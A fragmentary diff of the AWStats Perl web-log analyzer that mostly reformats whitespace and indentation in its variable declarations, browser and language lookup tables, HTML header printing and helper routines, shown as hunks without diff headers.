#use diagnostics; # Must be used in test mode only. This reduce a lot of process speed
use strict;
no strict "refs";
-use Time::Local; # use Time::Local 'timelocal_nocheck' is faster but not supported by all Time::Local modules
+use Time::Local
+ ; # use Time::Local 'timelocal_nocheck' is faster but not supported by all Time::Local modules
use Socket;
use Encode;
-
#------------------------------------------------------------------------------
# Defines
#------------------------------------------------------------------------------
; # Lapse of time to accept a record if not in correct order. 20000 = 2 hour (Default = 20000)
$WIDTHCOLICON = 32;
$TOOLTIPON = 0; # Tooltips plugin loaded
-$NOHTML = 0; # Suppress the html headers
+$NOHTML = 0; # Suppress the html headers
# ----- Running variables -----
use vars qw/
$Debug = $ShowSteps = 0;
$DebugResetDone = $DNSLookupAlreadyDone = 0;
$RunAsCli = $UpdateFor = $HeaderHTTPSent = $HeaderHTMLSent = 0;
-$LastLine = $LastLineNumber = $LastLineOffset = $LastLineChecksum = 0;
+$LastLine = $LastLineNumber = $LastLineOffset = $LastLineChecksum = 0;
$LastUpdate = 0;
$lowerval = 0;
$PluginMode = '';
$TotalSearchEnginesPages = $TotalSearchEnginesHits = $TotalRefererPages = 0;
$TotalRefererHits = $TotalDifferentSearchEngines = $TotalDifferentReferer = 0;
(
- $FrameName, $Center, $FileConfig, $FileSuffix,
- $Host, $YearRequired, $MonthRequired, $DayRequired,
- $HourRequired, $QueryString, $SiteConfig, $StaticLinks,
- $PageCode, $PageDir, $PerlParsingFormat, $UserAgent
+ $FrameName, $Center, $FileConfig, $FileSuffix,
+ $Host, $YearRequired, $MonthRequired, $DayRequired,
+ $HourRequired, $QueryString, $SiteConfig, $StaticLinks,
+ $PageCode, $PageDir, $PerlParsingFormat, $UserAgent
)
= ( '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '' );
$MaxLengthOfShownURL = 64;
$MaxLengthOfStoredURL = 256; # Note: Apache LimitRequestLine is default to 8190
$MaxLengthOfStoredUA = 256;
-%BarPng = (
- 'vv' => 'vv.png',
- 'vu' => 'vu.png',
- 'hu' => 'hu.png',
- 'vp' => 'vp.png',
- 'hp' => 'hp.png',
- 'he' => 'he.png',
- 'hx' => 'hx.png',
- 'vh' => 'vh.png',
- 'hh' => 'hh.png',
- 'vk' => 'vk.png',
- 'hk' => 'hk.png'
+%BarPng = (
+ 'vv' => 'vv.png',
+ 'vu' => 'vu.png',
+ 'hu' => 'hu.png',
+ 'vp' => 'vp.png',
+ 'hp' => 'hp.png',
+ 'he' => 'he.png',
+ 'hx' => 'hx.png',
+ 'vh' => 'vh.png',
+ 'hh' => 'hh.png',
+ 'vk' => 'vk.png',
+ 'hk' => 'hk.png'
);
$BuildReportFormat = 'html';
$BuildHistoryFormat = 'text';
$DecodeUA
/;
(
- $DebugMessages,
- $AllowToUpdateStatsFromBrowser,
- $EnableLockForUpdate,
- $DNSLookup,
- $AllowAccessFromWebToAuthenticatedUsersOnly,
- $BarHeight,
- $BarWidth,
- $CreateDirDataIfNotExists,
- $KeepBackupOfHistoricFiles,
- $NbOfLinesParsed,
- $NbOfLinesDropped,
- $NbOfLinesCorrupted,
- $NbOfOldLines,
- $NbOfNewLines,
- $NbOfLinesShowsteps,
- $NewLinePhase,
- $NbOfLinesForCorruptedLog,
- $PurgeLogFile,
- $ArchiveLogRecords,
- $ShowDropped,
- $ShowCorrupted,
- $ShowUnknownOrigin,
- $ShowDirectOrigin,
- $ShowLinksToWhoIs,
- $ShowAuthenticatedUsers,
- $ShowFileSizesStats,
- $ShowScreenSizeStats,
- $ShowSMTPErrorsStats,
- $ShowEMailSenders,
- $ShowEMailReceivers,
- $ShowWormsStats,
- $ShowClusterStats,
- $IncludeInternalLinksInOriginSection,
- $AuthenticatedUsersNotCaseSensitive,
- $Expires,
- $UpdateStats,
- $MigrateStats,
- $URLNotCaseSensitive,
- $URLWithQuery,
- $URLReferrerWithQuery,
- $DecodeUA
+ $DebugMessages,
+ $AllowToUpdateStatsFromBrowser,
+ $EnableLockForUpdate,
+ $DNSLookup,
+ $AllowAccessFromWebToAuthenticatedUsersOnly,
+ $BarHeight,
+ $BarWidth,
+ $CreateDirDataIfNotExists,
+ $KeepBackupOfHistoricFiles,
+ $NbOfLinesParsed,
+ $NbOfLinesDropped,
+ $NbOfLinesCorrupted,
+ $NbOfOldLines,
+ $NbOfNewLines,
+ $NbOfLinesShowsteps,
+ $NewLinePhase,
+ $NbOfLinesForCorruptedLog,
+ $PurgeLogFile,
+ $ArchiveLogRecords,
+ $ShowDropped,
+ $ShowCorrupted,
+ $ShowUnknownOrigin,
+ $ShowDirectOrigin,
+ $ShowLinksToWhoIs,
+ $ShowAuthenticatedUsers,
+ $ShowFileSizesStats,
+ $ShowScreenSizeStats,
+ $ShowSMTPErrorsStats,
+ $ShowEMailSenders,
+ $ShowEMailReceivers,
+ $ShowWormsStats,
+ $ShowClusterStats,
+ $IncludeInternalLinksInOriginSection,
+ $AuthenticatedUsersNotCaseSensitive,
+ $Expires,
+ $UpdateStats,
+ $MigrateStats,
+ $URLNotCaseSensitive,
+ $URLWithQuery,
+ $URLReferrerWithQuery,
+ $DecodeUA
)
= (
- 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
- 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
+ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
+ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
);
use vars qw/
$DetailedReportsOnNewWindows
$AddDataArrayMonthStats $AddDataArrayShowDaysOfMonthStats $AddDataArrayShowDaysOfWeekStats $AddDataArrayShowHoursStats
/;
(
- $DetailedReportsOnNewWindows,
- $FirstDayOfWeek,
- $KeyWordsNotSensitive,
- $SaveDatabaseFilesWithPermissionsForEveryone,
- $WarningMessages,
- $ShowLinksOnUrl,
- $UseFramesWhenCGI,
- $ShowMenu,
- $ShowSummary,
- $ShowMonthStats,
- $ShowDaysOfMonthStats,
- $ShowDaysOfWeekStats,
- $ShowHoursStats,
- $ShowDomainsStats,
- $ShowHostsStats,
- $ShowRobotsStats,
- $ShowSessionsStats,
- $ShowPagesStats,
- $ShowFileTypesStats,
- $ShowOSStats,
- $ShowBrowsersStats,
- $ShowOriginStats,
- $ShowKeyphrasesStats,
- $ShowKeywordsStats,
- $ShowMiscStats,
- $ShowHTTPErrorsStats,
- $AddDataArrayMonthStats,
- $AddDataArrayShowDaysOfMonthStats,
- $AddDataArrayShowDaysOfWeekStats,
- $AddDataArrayShowHoursStats
+ $DetailedReportsOnNewWindows,
+ $FirstDayOfWeek,
+ $KeyWordsNotSensitive,
+ $SaveDatabaseFilesWithPermissionsForEveryone,
+ $WarningMessages,
+ $ShowLinksOnUrl,
+ $UseFramesWhenCGI,
+ $ShowMenu,
+ $ShowSummary,
+ $ShowMonthStats,
+ $ShowDaysOfMonthStats,
+ $ShowDaysOfWeekStats,
+ $ShowHoursStats,
+ $ShowDomainsStats,
+ $ShowHostsStats,
+ $ShowRobotsStats,
+ $ShowSessionsStats,
+ $ShowPagesStats,
+ $ShowFileTypesStats,
+ $ShowOSStats,
+ $ShowBrowsersStats,
+ $ShowOriginStats,
+ $ShowKeyphrasesStats,
+ $ShowKeywordsStats,
+ $ShowMiscStats,
+ $ShowHTTPErrorsStats,
+ $AddDataArrayMonthStats,
+ $AddDataArrayShowDaysOfMonthStats,
+ $AddDataArrayShowDaysOfWeekStats,
+ $AddDataArrayShowHoursStats
)
= (
- 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
- 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1
+ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
+ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1
);
use vars qw/
$AllowFullYearView
$LevelForFileTypesDetection $LevelForSearchEnginesDetection $LevelForKeywordsDetection
/;
(
- $AllowFullYearView, $LevelForRobotsDetection,
- $LevelForWormsDetection, $LevelForBrowsersDetection,
- $LevelForOSDetection, $LevelForRefererAnalyze,
- $LevelForFileTypesDetection, $LevelForSearchEnginesDetection,
- $LevelForKeywordsDetection
+ $AllowFullYearView, $LevelForRobotsDetection,
+ $LevelForWormsDetection, $LevelForBrowsersDetection,
+ $LevelForOSDetection, $LevelForRefererAnalyze,
+ $LevelForFileTypesDetection, $LevelForSearchEnginesDetection,
+ $LevelForKeywordsDetection
)
= ( 2, 2, 0, 2, 2, 2, 2, 2, 2 );
use vars qw/
$UseHTTPSLinkForUrl $URLQuerySeparators $URLWithAnchor $ErrorMessages $ShowFlagLinks
/;
(
- $DirLock, $DirCgi,
- $DirConfig, $DirData,
- $DirIcons, $DirLang,
- $AWScript, $ArchiveFileName,
- $AllowAccessFromWebToFollowingIPAddresses, $HTMLHeadSection,
- $HTMLEndSection, $LinksToWhoIs,
- $LinksToIPWhoIs, $LogFile,
- $LogType, $LogFormat,
- $LogSeparator, $Logo,
- $LogoLink, $StyleSheet,
- $WrapperScript, $SiteDomain,
- $UseHTTPSLinkForUrl, $URLQuerySeparators,
- $URLWithAnchor, $ErrorMessages,
- $ShowFlagLinks
+ $DirLock, $DirCgi,
+ $DirConfig, $DirData,
+ $DirIcons, $DirLang,
+ $AWScript, $ArchiveFileName,
+ $AllowAccessFromWebToFollowingIPAddresses, $HTMLHeadSection,
+ $HTMLEndSection, $LinksToWhoIs,
+ $LinksToIPWhoIs, $LogFile,
+ $LogType, $LogFormat,
+ $LogSeparator, $Logo,
+ $LogoLink, $StyleSheet,
+ $WrapperScript, $SiteDomain,
+ $UseHTTPSLinkForUrl, $URLQuerySeparators,
+ $URLWithAnchor, $ErrorMessages,
+ $ShowFlagLinks
)
= (
- '', '', '', '', '', '', '', '', '', '', '', '', '', '',
- '', '', '', '', '', '', '', '', '', '', '', '', ''
+ '', '', '', '', '', '', '', '', '', '', '', '', '', '',
+ '', '', '', '', '', '', '', '', '', '', '', '', ''
);
use vars qw/
$color_Background $color_TableBG $color_TableBGRowTitle
$color_h $color_k $color_p $color_e $color_x $color_s $color_u $color_v
/;
(
- $color_Background, $color_TableBG, $color_TableBGRowTitle,
- $color_TableBGTitle, $color_TableBorder, $color_TableRowTitle,
- $color_TableTitle, $color_text, $color_textpercent,
- $color_titletext, $color_weekend, $color_link,
- $color_hover, $color_other, $color_h,
- $color_k, $color_p, $color_e,
- $color_x, $color_s, $color_u,
- $color_v
+ $color_Background, $color_TableBG, $color_TableBGRowTitle,
+ $color_TableBGTitle, $color_TableBorder, $color_TableRowTitle,
+ $color_TableTitle, $color_text, $color_textpercent,
+ $color_titletext, $color_weekend, $color_link,
+ $color_hover, $color_other, $color_h,
+ $color_k, $color_p, $color_e,
+ $color_x, $color_s, $color_u,
+ $color_v
)
= (
- '', '', '', '', '', '', '', '', '', '', '', '',
- '', '', '', '', '', '', '', '', '', ''
+ '', '', '', '', '', '', '', '', '', '', '', '',
+ '', '', '', '', '', '', '', '', '', ''
);
# ---------- Init arrays --------
@PluginsToLoad
/;
@MiscListOrder = (
- 'AddToFavourites', 'JavascriptDisabled',
- 'JavaEnabled', 'DirectorSupport',
- 'FlashSupport', 'RealPlayerSupport',
- 'QuickTimeSupport', 'WindowsMediaPlayerSupport',
- 'PDFSupport'
+ 'AddToFavourites', 'JavascriptDisabled',
+ 'JavaEnabled', 'DirectorSupport',
+ 'FlashSupport', 'RealPlayerSupport',
+ 'QuickTimeSupport', 'WindowsMediaPlayerSupport',
+ 'PDFSupport'
);
%MiscListCalc = (
- 'TotalMisc' => '',
- 'AddToFavourites' => 'u',
- 'JavascriptDisabled' => 'hm',
- 'JavaEnabled' => 'hm',
- 'DirectorSupport' => 'hm',
- 'FlashSupport' => 'hm',
- 'RealPlayerSupport' => 'hm',
- 'QuickTimeSupport' => 'hm',
- 'WindowsMediaPlayerSupport' => 'hm',
- 'PDFSupport' => 'hm'
+ 'TotalMisc' => '',
+ 'AddToFavourites' => 'u',
+ 'JavascriptDisabled' => 'hm',
+ 'JavaEnabled' => 'hm',
+ 'DirectorSupport' => 'hm',
+ 'FlashSupport' => 'hm',
+ 'RealPlayerSupport' => 'hm',
+ 'QuickTimeSupport' => 'hm',
+ 'WindowsMediaPlayerSupport' => 'hm',
+ 'PDFSupport' => 'hm'
);
%OSFamily = (
- 'win' => 'Windows',
- 'mac' => 'Macintosh',
- 'linux' => 'Linux',
- 'bsd' => 'BSD'
+ 'win' => 'Windows',
+ 'mac' => 'Macintosh',
+ 'linux' => 'Linux',
+ 'bsd' => 'BSD'
+);
+%BrowsersFamily = (
+ 'msie' => 1,
+ 'firefox' => 2,
+ 'netscape' => 3,
+ 'svn' => 4,
+ 'opera' => 5,
+ 'safari' => 6,
+ 'chrome' => 7,
+ 'konqueror' => 8
);
-%BrowsersFamily=('msie'=>1,'firefox'=>2,'netscape'=>3,'svn'=>4,'opera'=>5,'safari'=>6,'chrome'=>7,'konqueror'=>8);
@SessionsRange =
( '0s-30s', '30s-2mn', '2mn-5mn', '5mn-15mn', '15mn-30mn', '30mn-1h', '1h+' );
%SessionsAverage = (
- '0s-30s', 15, '30s-2mn', 75, '2mn-5mn', 210,
- '5mn-15mn', 600, '15mn-30mn', 1350, '30mn-1h', 2700,
- '1h+', 3600
+ '0s-30s', 15, '30s-2mn', 75, '2mn-5mn', 210,
+ '5mn-15mn', 600, '15mn-30mn', 1350, '30mn-1h', 2700,
+ '1h+', 3600
);
# HTTP-Accept or Lang parameter => AWStats code to use for lang
# ISO-639-1 or 2 or other => awstats-xx.txt where xx is ISO-639-1
%LangBrowserToLangAwstats = (
- 'sq' => 'al',
- 'ar' => 'ar',
- 'ba' => 'ba',
- 'bg' => 'bg',
- 'zh-tw' => 'tw',
- 'zh' => 'cn',
- 'cs' => 'cz',
- 'de' => 'de',
- 'da' => 'dk',
- 'en' => 'en',
- 'et' => 'et',
- 'fi' => 'fi',
- 'fr' => 'fr',
- 'gl' => 'gl',
- 'es' => 'es',
- 'eu' => 'eu',
- 'ca' => 'ca',
- 'el' => 'gr',
- 'hu' => 'hu',
- 'is' => 'is',
- 'in' => 'id',
- 'it' => 'it',
- 'ja' => 'jp',
- 'kr' => 'ko',
- 'lv' => 'lv',
- 'nl' => 'nl',
- 'no' => 'nb',
- 'nb' => 'nb',
- 'nn' => 'nn',
- 'pl' => 'pl',
- 'pt' => 'pt',
- 'pt-br' => 'br',
- 'ro' => 'ro',
- 'ru' => 'ru',
- 'sr' => 'sr',
- 'sk' => 'sk',
- 'sv' => 'se',
- 'th' => 'th',
- 'tr' => 'tr',
- 'uk' => 'ua',
- 'cy' => 'cy',
- 'wlk' => 'cy'
+ 'sq' => 'al',
+ 'ar' => 'ar',
+ 'ba' => 'ba',
+ 'bg' => 'bg',
+ 'zh-tw' => 'tw',
+ 'zh' => 'cn',
+ 'cs' => 'cz',
+ 'de' => 'de',
+ 'da' => 'dk',
+ 'en' => 'en',
+ 'et' => 'et',
+ 'fi' => 'fi',
+ 'fr' => 'fr',
+ 'gl' => 'gl',
+ 'es' => 'es',
+ 'eu' => 'eu',
+ 'ca' => 'ca',
+ 'el' => 'gr',
+ 'hu' => 'hu',
+ 'is' => 'is',
+ 'in' => 'id',
+ 'it' => 'it',
+ 'ja' => 'jp',
+ 'kr' => 'ko',
+ 'lv' => 'lv',
+ 'nl' => 'nl',
+ 'no' => 'nb',
+ 'nb' => 'nb',
+ 'nn' => 'nn',
+ 'pl' => 'pl',
+ 'pt' => 'pt',
+ 'pt-br' => 'br',
+ 'ro' => 'ro',
+ 'ru' => 'ru',
+ 'sr' => 'sr',
+ 'sk' => 'sk',
+ 'sv' => 'se',
+ 'th' => 'th',
+ 'tr' => 'tr',
+ 'uk' => 'ua',
+ 'cy' => 'cy',
+ 'wlk' => 'cy'
);
%LangAWStatsToFlagAwstats =
( # If flag (country ISO-3166 two letters) is not same than AWStats Lang code
- 'ca' => 'es_cat',
- 'et' => 'ee',
- 'eu' => 'es_eu',
- 'cy' => 'wlk',
- 'gl' => 'glg',
- 'he' => 'il',
- 'ko' => 'kr',
- 'ar' => 'sa',
- 'sr' => 'cs'
+ 'ca' => 'es_cat',
+ 'et' => 'ee',
+ 'eu' => 'es_eu',
+ 'cy' => 'wlk',
+ 'gl' => 'glg',
+ 'he' => 'il',
+ 'ko' => 'kr',
+ 'ar' => 'sa',
+ 'sr' => 'cs'
);
-%SafariBuildToVersion=(
-'85'=>'1.0',
-'85.5'=>'1.0',
-'85.7'=>'1.0.2',
-'85.8'=>'1.0.3',
-'85.8.1'=>'1.0.3',
-'100'=>'1.1',
-'100.1'=>'1.1.1',
-'125.7'=>'1.2.2',
-'125.8'=>'1.2.2',
-'125.9'=>'1.2.3',
-'125.11'=>'1.2.4',
-'125.12'=>'1.2.4',
-'312'=>'1.3',
-'312.3'=>'1.3.1',
-'312.3.1'=>'1.3.1',
-'312.5'=>'1.3.2',
-'312.6'=>'1.3.2',
-'412'=>'2.0',
-'412.2'=>'2.0',
-'412.2.2'=>'2.0',
-'412.5'=>'2.0.1',
-'413'=>'2.0.1',
-'416.12'=>'2.0.2',
-'416.13'=>'2.0.2',
-'417.8'=>'2.0.3',
-'417.9.2'=>'2.0.3',
-'417.9.3'=>'2.0.3',
-'419.3'=>'2.0.4',
-'522.11.3'=>'3.0',
-'522.12'=>'3.0.2',
-'523.10'=>'3.0.4',
-'523.12'=>'3.0.4',
-'525.13'=>'3.1',
-'525.17'=>'3.1.1',
-'525.20'=>'3.1.1',
-'525.20.1'=>'3.1.2',
-'525.21'=>'3.1.2',
-'525.22'=>'3.1.2',
-'525.26'=>'3.2',
-'525.26.13'=>'3.2',
-'525.27'=>'3.2.1',
-'525.27.1'=>'3.2.1',
-'526.11.2'=>'4.0',
-'528.1'=>'4.0',
-'528.16'=>'4.0'
-);
+%SafariBuildToVersion = (
+ '85' => '1.0',
+ '85.5' => '1.0',
+ '85.7' => '1.0.2',
+ '85.8' => '1.0.3',
+ '85.8.1' => '1.0.3',
+ '100' => '1.1',
+ '100.1' => '1.1.1',
+ '125.7' => '1.2.2',
+ '125.8' => '1.2.2',
+ '125.9' => '1.2.3',
+ '125.11' => '1.2.4',
+ '125.12' => '1.2.4',
+ '312' => '1.3',
+ '312.3' => '1.3.1',
+ '312.3.1' => '1.3.1',
+ '312.5' => '1.3.2',
+ '312.6' => '1.3.2',
+ '412' => '2.0',
+ '412.2' => '2.0',
+ '412.2.2' => '2.0',
+ '412.5' => '2.0.1',
+ '413' => '2.0.1',
+ '416.12' => '2.0.2',
+ '416.13' => '2.0.2',
+ '417.8' => '2.0.3',
+ '417.9.2' => '2.0.3',
+ '417.9.3' => '2.0.3',
+ '419.3' => '2.0.4',
+ '522.11.3' => '3.0',
+ '522.12' => '3.0.2',
+ '523.10' => '3.0.4',
+ '523.12' => '3.0.4',
+ '525.13' => '3.1',
+ '525.17' => '3.1.1',
+ '525.20' => '3.1.1',
+ '525.20.1' => '3.1.2',
+ '525.21' => '3.1.2',
+ '525.22' => '3.1.2',
+ '525.26' => '3.2',
+ '525.26.13' => '3.2',
+ '525.27' => '3.2.1',
+ '525.27.1' => '3.2.1',
+ '526.11.2' => '4.0',
+ '528.1' => '4.0',
+ '528.16' => '4.0'
+);
@HostAliases = @AllowAccessFromWebToFollowingAuthenticatedUsers = ();
@DefaultFile = @SkipDNSLookupFor = ();
@SkipHosts = @SkipUserAgents = @NotPageFiles = @SkipFiles = @SkipReferrers = ();
@OnlyHosts = @OnlyUserAgents = @OnlyFiles = @OnlyUsers = ();
-@URLWithQueryWithOnly = @URLWithQueryWithout = ();
-@ExtraName = @ExtraCondition = @ExtraStatTypes = ();
-@MaxNbOfExtra = @MinHitExtra = ();
-@ExtraFirstColumnTitle = @ExtraFirstColumnValues = ();
+@URLWithQueryWithOnly = @URLWithQueryWithout = ();
+@ExtraName = @ExtraCondition = @ExtraStatTypes = ();
+@MaxNbOfExtra = @MinHitExtra = ();
+@ExtraFirstColumnTitle = @ExtraFirstColumnValues = ();
@ExtraFirstColumnFunction = @ExtraFirstColumnFormat = ();
-@ExtraCodeFilter = @ExtraConditionType = @ExtraConditionTypeVal = ();
+@ExtraCodeFilter = @ExtraConditionType = @ExtraConditionTypeVal = ();
@ExtraFirstColumnValuesType = @ExtraFirstColumnValuesTypeVal = ();
-@ExtraAddAverageRow = @ExtraAddSumRow = ();
+@ExtraAddAverageRow = @ExtraAddSumRow = ();
@PluginsToLoad = ();
# ---------- Init hash arrays --------
'First',
'Last',
'Exclude filter',
- 'Codes shown here gave hits or traffic "not viewed" by visitors, so they are not included in other charts.',
+'Codes shown here gave hits or traffic "not viewed" by visitors, so they are not included in other charts.',
'Cluster',
- 'Robots shown here gave hits or traffic "not viewed" by visitors, so they are not included in other charts.',
+'Robots shown here gave hits or traffic "not viewed" by visitors, so they are not included in other charts.',
'Numbers after + are successful hits on "robots.txt" files',
- 'Worms shown here gave hits or traffic "not viewed" by visitors, so thay are not included in other charts.',
- 'Not viewed traffic includes traffic generated by robots, worms, or replies with special HTTP status codes.',
+'Worms shown here gave hits or traffic "not viewed" by visitors, so thay are not included in other charts.',
+'Not viewed traffic includes traffic generated by robots, worms, or replies with special HTTP status codes.',
'Traffic viewed',
'Traffic not viewed',
'Monthly history',
'Opera versions',
'Safari versions',
'Chrome versions',
- 'Konqueror versions'
+ 'Konqueror versions'
);
#------------------------------------------------------------------------------
my $newpagecode = $PageCode ? $PageCode : "utf-8";
if ( $BuildReportFormat eq 'xhtml' || $BuildReportFormat eq 'xml' ) {
print( $ENV{'HTTP_USER_AGENT'} =~ /MSIE|Googlebot/i
- ? "Content-type:text/html; charset=$newpagecode\n"
- : "Content-type: text/xml; charset=$newpagecode\n" );
+ ? "Content-type:text/html; charset=$newpagecode\n"
+ : "Content-type: text/xml; charset=$newpagecode\n"
+ );
}
else { print "Content-type: text/html; charset=$newpagecode\n"; }
- # Expires must be GMT ANSI asctime and must be after Content-type to avoid pb with some servers (SAMBAR)
+# Expires must be GMT ANSI asctime and must be after Content-type to avoid pb with some servers (SAMBAR)
if ( $Expires =~ /^\d+$/ ) {
print "Cache-Control: public\n";
print "Last-Modified: " . gmtime($starttime) . "\n";
sub html_head {
my $dir = $PageDir ? 'right' : 'left';
if ($NOHTML) { return; }
- if ( scalar keys %HTMLOutput || $PluginMode )
- {
+ if ( scalar keys %HTMLOutput || $PluginMode ) {
my $periodtitle = " ($YearRequired";
$periodtitle .= ( $MonthRequired ne 'all' ? "-$MonthRequired" : "" );
$periodtitle .= ( $DayRequired ne '' ? "-$DayRequired" : "" );
. "\" />\n"
: "<meta http-equiv=\"content-type\" content=\"text/xml; charset="
. ( $PageCode ? $PageCode : "iso-8859-1" )
- . "\"$endtag\n" );
+ . "\"$endtag\n"
+ );
}
else {
print
if ( $BuildReportFormat eq 'xhtml' || $BuildReportFormat eq 'xml' )
{
print( $ENV{'HTTP_USER_AGENT'} =~ /Firebird/i
- ? "<!--\n"
- : "<![CDATA[\n" );
+ ? "<!--\n"
+ : "<![CDATA[\n"
+ );
}
else { print "<!--\n"; }
if ( $BuildReportFormat eq 'xhtml' || $BuildReportFormat eq 'xml' )
{
print( $ENV{'HTTP_USER_AGENT'} =~ /Firebird/i
- ? "//-->\n"
- : "]]>\n" );
+ ? "//-->\n"
+ : "]]>\n"
+ );
}
else { print "//-->\n"; }
print "</style>\n";
my $tooltipnb = shift;
my $width = shift || 70;
my $class = shift;
-
+
# Call to plugins' function TabHeadHTML
- my $extra_head_html='';
- foreach my $pluginname (keys %{$PluginsLoaded{'TabHeadHTML'}}) {
- my $function="TabHeadHTML_$pluginname";
- $extra_head_html .=&$function($title);
+ my $extra_head_html = '';
+ foreach my $pluginname ( keys %{ $PluginsLoaded{'TabHeadHTML'} } ) {
+ my $function = "TabHeadHTML_$pluginname";
+ $extra_head_html .= &$function($title);
}
if ( $width == 70 && $QueryString =~ /buildpdf/i ) {
}
if ($tooltipnb) {
- print "<tr><td class=\"aws_title\" width=\"$width%\"".Tooltip($tooltipnb,$tooltipnb).">$title ".$extra_head_html."</td>";
+ print "<tr><td class=\"aws_title\" width=\"$width%\""
+ . Tooltip( $tooltipnb, $tooltipnb )
+ . ">$title "
+ . $extra_head_html . "</td>";
}
else {
- print "<tr><td class=\"aws_title\" width=\"$width%\">$title ".$extra_head_html."</td>";
+ print "<tr><td class=\"aws_title\" width=\"$width%\">$title "
+ . $extra_head_html . "</td>";
}
print "<td class=\"aws_blank\"> </td></tr>\n";
print "<tr><td colspan=\"2\">\n";
print
"111.22.33.44 - - [10/Jan/2001:02:14:14 +0200] \"GET / HTTP/1.1\" 200 1234 \"http://www.fromserver.com/from.htm\" \"Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)\"\n";
print(
- scalar keys %HTMLOutput
- ? "</i>$tagunfont${tagbr}${tagbr}\n"
- : "" );
+ scalar keys %HTMLOutput
+ ? "</i>$tagunfont${tagbr}${tagbr}\n"
+ : ""
+ );
}
if ( $LogFormat == 2 ) {
print
print
"date time c-ip c-username cs-method cs-uri-sterm sc-status sc-bytes cs-version cs(User-Agent) cs(Referer)\n";
print(
- scalar keys %HTMLOutput
- ? "</i>$tagunfont${tagbr}${tagbr}\n"
- : "" );
+ scalar keys %HTMLOutput
+ ? "</i>$tagunfont${tagbr}${tagbr}\n"
+ : ""
+ );
}
if ( $LogFormat == 3 ) {
print
print
"111.22.33.44 - - [10/Jan/2001:02:14:14 +0200] \"GET / HTTP/1.1\" 200 1234\n";
print(
- scalar keys %HTMLOutput
- ? "</i>$tagunfont${tagbr}${tagbr}\n"
- : "" );
+ scalar keys %HTMLOutput
+ ? "</i>$tagunfont${tagbr}${tagbr}\n"
+ : ""
+ );
}
if ( $LogFormat == 6 ) {
print
print
"111.22.33.44 - Firstname Middlename Lastname [10/Jan/2001:02:14:14 +0200] \"GET / HTTP/1.1\" 200 1234 \"http://www.fromserver.com/from.htm\" \"Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)\"\n";
print(
- scalar keys %HTMLOutput
- ? "</i></span>${tagbr}${tagbr}\n"
- : "" );
+ scalar keys %HTMLOutput
+ ? "</i></span>${tagbr}${tagbr}\n"
+ : ""
+ );
}
if ( $LogFormat !~ /^[1-6]$/ ) {
print "the following personalized log format:${tagbr}\n";
print( scalar keys %HTMLOutput ? "$tagfontgrey<i>" : "" );
print "$LogFormat\n";
print(
- scalar keys %HTMLOutput
- ? "</i>$tagunfont${tagbr}${tagbr}\n"
- : "" );
+ scalar keys %HTMLOutput
+ ? "</i>$tagunfont${tagbr}${tagbr}\n"
+ : ""
+ );
}
print
"And this is an example of records AWStats found in your log file (the record number $NbOfLinesForCorruptedLog in your log):\n";
print( scalar keys %HTMLOutput ? "<br />$tagfontgrey<i>" : "" );
print "$secondmessage";
print(
- scalar keys %HTMLOutput
- ? "</i>$tagunfont${tagbr}${tagbr}"
- : "" );
+ scalar keys %HTMLOutput
+ ? "</i>$tagunfont${tagbr}${tagbr}"
+ : ""
+ );
print "\n";
}
if ( $elemtoremove > -1 ) {
if ($Debug) {
debug(
- " Remove elem $elemtoremove - $arrayunreg[$elemtoremove]",
- 4 );
+ " Remove elem $elemtoremove - $arrayunreg[$elemtoremove]",
+ 4 );
}
splice @arrayunreg, $elemtoremove, 1;
$searchlist = $elemtoremove;
if ( $month < 3 ) { $month += 10; $year--; }
else { $month -= 2; }
my $cent = sprintf( "%1i", ( $year / 100 ) );
- my $y = ( $year % 100 );
- my $dw = (
- sprintf( "%1i", ( 2.6 * $month ) - 0.2 ) + $day + $y +
- sprintf( "%1i", ( $y / 4 ) ) + sprintf( "%1i", ( $cent / 4 ) ) -
- ( 2 * $cent ) ) % 7;
+ my $y = ( $year % 100 );
+ my $dw = (
+ sprintf( "%1i", ( 2.6 * $month ) - 0.2 ) + $day + $y +
+ sprintf( "%1i", ( $y / 4 ) ) + sprintf( "%1i", ( $cent / 4 ) ) -
+ ( 2 * $cent ) ) % 7;
$dw += 7 if ( $dw < 0 );
if ($Debug) { debug( " is $dw", 4 ); }
return $dw;
#------------------------------------------------------------------------------
sub SortBrowsers {
my $a_family = $a;
- my @a_ver = ();
+ my @a_ver = ();
foreach my $family ( keys %BrowsersFamily ) {
if ( $a =~ /^$family/i ) {
$a =~ m/^(\D+)([\d\.]+)?$/;
$a_family = $1;
- @a_ver = split(/\./, $2);
+ @a_ver = split( /\./, $2 );
}
}
my $b_family = $b;
- my @b_ver = ();
+ my @b_ver = ();
foreach my $family ( keys %BrowsersFamily ) {
if ( $b =~ /^$family/i ) {
$b =~ m/^(\D+)([\d\.]+)?$/;
$b_family = $1;
- @b_ver = split(/\./, $2);
+ @b_ver = split( /\./, $2 );
}
}
my $done = 0;
$compare = $a_family cmp $b_family;
- if ($compare != 0)
- {
- return $compare;
+ if ( $compare != 0 ) {
+ return $compare;
}
- while ( !$done )
- {
+ while ( !$done ) {
my $a_num = shift @a_ver || 0;
my $b_num = shift @b_ver || 0;
$compare = $a_num <=> $b_num;
- if ($compare != 0
- || ( scalar(@a_ver) == 0 && scalar(@b_ver) == 0 && $compare == 0 ))
- {
- $done = 1;
- }
+ if ( $compare != 0
+ || ( scalar(@a_ver) == 0 && scalar(@b_ver) == 0 && $compare == 0 ) )
+ {
+ $done = 1;
+ }
}
return $compare;
}
else {
@PossibleConfigDir = (
- "$DIR", "/etc/awstats",
- "/usr/local/etc/awstats", "/etc",
- "/etc/opt/awstats"
+ "$DIR", "/etc/awstats",
+ "/usr/local/etc/awstats", "/etc",
